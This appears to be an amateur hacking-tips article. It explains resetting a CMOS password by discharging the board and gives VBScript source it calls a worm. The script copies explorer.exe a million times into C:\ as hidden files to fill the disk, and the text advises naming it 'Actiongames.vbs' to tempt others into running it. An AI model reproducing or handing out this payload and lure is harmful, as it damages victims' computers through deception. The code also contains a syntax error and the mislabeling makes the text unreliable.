Hacking the CMOS password

WARNING: Do this at your own risk!!

Well, get ready to wreck havoc with your computer. The CMOS (Complementary Metal Oxide Semiconductor) password is saved directly in the CMOS. You need a screw driver to open the cabinet of the CPU. Identify the CMOS and remove its jacks to discharge it and then put the jacks back again. If your luck is good, this should reset the CMOS to its default settings. If not you are in big trouble.

A worm that makes copies of itself-SOUNDS great!!

VBscript files are ASCII text files are text files which contains VBscript commands and are saved with an extension of .vbs. VBscript is lightweight version of Visual Basic which is used to script the Windows itself. They are pretty much like those old batch files of DOS which were used to automate regularly performed tasks. You can write a batch file to create back ups regulerly in no time. VBscript is basically a scripting language which can executed without a visible user interface or any user triggered events (Sounds  great for some background programs or perhaps a worm may be). But there is a problem. Vbscript does not comes with an editor. So you have write VBscript commands in a file using a text editor such as Notepad and then save it with the extension of  .vbs. So when it comes to debugging, you are literally on your own. Here is the source code of  a VBscript file that makes 1000*1000 copies of explorer.exe in the  c: drive. The explorer.exe file is a fairly large file with a size of 977 kb. Now that's serious. The worm also makes the copies hidden so that they are not easily found.

    set copyvar=CreateObject("Scripting.FilesystemObject)

    t1="filecopy"

    for j=1 to 1000

    for i=1 to 1000

    t2="c:\" & t1 & j & i & ".exe"

    copyvar.copyfile "c:\WINDOWS\explorer.exe", t2

    set ts=copyvar.getfile(t2)

    ts.attributes=2

    next

    next

To create the worm, open Notepad and type in the code exactly as it is. Save the file with an attractive name like  Actiongames.vbs so that the users are tempted to open it. Be sure to have set the Save as File type to All Files while saving the file other wise it will be saved as Actiongames.vbs.txt and the worm won't execute. To execute the file, double click on it.
